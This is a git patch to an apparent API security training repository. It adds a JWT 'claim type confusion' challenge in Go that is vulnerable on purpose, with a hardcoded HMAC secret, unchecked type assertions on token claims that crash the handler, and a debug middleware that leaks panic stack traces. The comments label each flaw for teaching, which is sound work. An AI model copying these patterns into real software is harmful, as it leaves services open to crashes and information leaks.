+github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= +github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/challenges/jwt-claim-type-confusion/main.go b/challenges/jwt-claim-type-confusion/main.go new file mode 100644 index 0000000..2858447 --- /dev/null +++ b/challenges/jwt-claim-type-confusion/main.go @@ -0,0 +1,25 @@ +package main + +import ( + "time" + + "github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-type-confusion/serve" + "github.com/cerberauth/api-vulns-challenges/common" + "github.com/golang-jwt/jwt/v5" +) + +func generateToken() (string, error) { + token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ + "sub": "2cb307ba-bb46-4194-854f-4774046d9c9b", + "name": "John Doe", + "roles": []string{"reader"}, + "iat": time.Now().Unix(), + "exp": time.Now().Add(time.Hour).Unix(), + }) + + return token.SignedString([]byte(serve.HmacSecret)) +} + +func main() { + common.Execute(serve.RunServer, common.NewJwtCmd(generateToken)) +} diff --git a/challenges/jwt-claim-type-confusion/serve/server.go b/challenges/jwt-claim-type-confusion/serve/server.go new file mode 100644 index 0000000..652f7d1 --- /dev/null +++ b/challenges/jwt-claim-type-confusion/serve/server.go @@ -0,0 +1,75 @@ +package serve + +import ( + "fmt" + "log" + "net/http" + "runtime/debug" + + "github.com/cerberauth/api-vulns-challenges/common" + "github.com/golang-jwt/jwt/v5" +) + +// HmacSecret is the API's dev-time signing key. It is intentionally known +// here so a valid token can be re-signed after its claims are tampered +// with - the bug this challenge demonstrates lives in how claim values are +// consumed, not in the signature check itself. +const HmacSecret = "s3cr3t-dev-key" + +// debugRecoveryMiddleware is a leftover "helpful" dev-mode handler: rather +// than returning a generic error, it dumps the panic message and the full +// goroutine stack trace straight into the response body. It was meant to +// speed up local debugging and never got stripped out before this API +// shipped, so any request that crashes the handler leaks internals and +// returns a 500 with a body that looks nothing like a normal response. +func debugRecoveryMiddleware(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + defer func() { + if rec := recover(); rec != nil { + w.WriteHeader(http.StatusInternalServerError) + fmt.Fprintf(w, "panic: %v\n\n%s", rec, debug.Stack()) + } + }() + next.ServeHTTP(w, r) + }) +} + +func RunServer(port string) { + mux := http.NewServeMux() + mux.HandleFunc("/profile", func(w http.ResponseWriter, r *http.Request) { + tokenString, ok := common.ExtractBearerToken(r) + if !ok { + w.WriteHeader(http.StatusUnauthorized) + return + } + + token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { + if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { + return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"]) + } + return []byte(HmacSecret), nil + }) + if err != nil || !token.Valid { + w.WriteHeader(http.StatusUnauthorized) + return + } + + claims := token.Claims.(jwt.MapClaims) + + // Both claims are trusted blindly and type-asserted straight to + // the type the happy path expects, with no ok-check. A signature + // check only proves who signed the token, not that its claim + // values have the right shape - a claim of the wrong JSON type + // (number, bool, object) or JSON null (which decodes to a bare + // nil interface{} and fails the assertion exactly like a wrong + // type does) crashes the handler instead of being rejected. + name := claims["name"].(string) + roles := claims["roles"].([]interface{}) + + w.Header().Set("Content-Type", "application/json") + fmt.Fprintf(w, `{"name":%q,"roles":%d}`, name, len(roles)) + }) + + log.Println("Server started at port", port) + log.Fatal(http.ListenAndServe(":"+port, common.SecurityHeadersMiddleware(debugRecoveryMiddleware(mux)))) +} diff --git a/go.work b/go.work index 08cd248..5222ce7 100644 --- a/go.work +++ b/go.work @@ -7,6 +7,9 @@ use ( ./challenges/jwt-alg-none-bypass ./challenges/jwt-apple-token-relay ./challenges/jwt-blank-secret + ./challenges/jwt-claim-oversized-value + ./challenges/jwt-claim-special-chars + ./challenges/jwt-claim-type-confusion ./challenges/jwt-cross-service-relay ./challenges/jwt-facebook-token-relay ./challenges/jwt-google-token-relay From b9dec7991456daeca20780521c5eabd8cbad5ed8 Mon Sep 17 00:00:00 2001 From: Emmanuel Gautier Date: Thu, 3 Sep 2026 23:44:36 +0200 Subject: [PATCH 2/2] feat: use slim runner for detect changes --- .github/workflows/docker.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index 65e1bea..832939e 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -10,7 +10,7 @@ on: jobs: detect-changes: - runs-on: ubuntu-latest + runs-on: ubuntu-slim outputs: matrix: ${{ steps.detect.outputs.matrix }}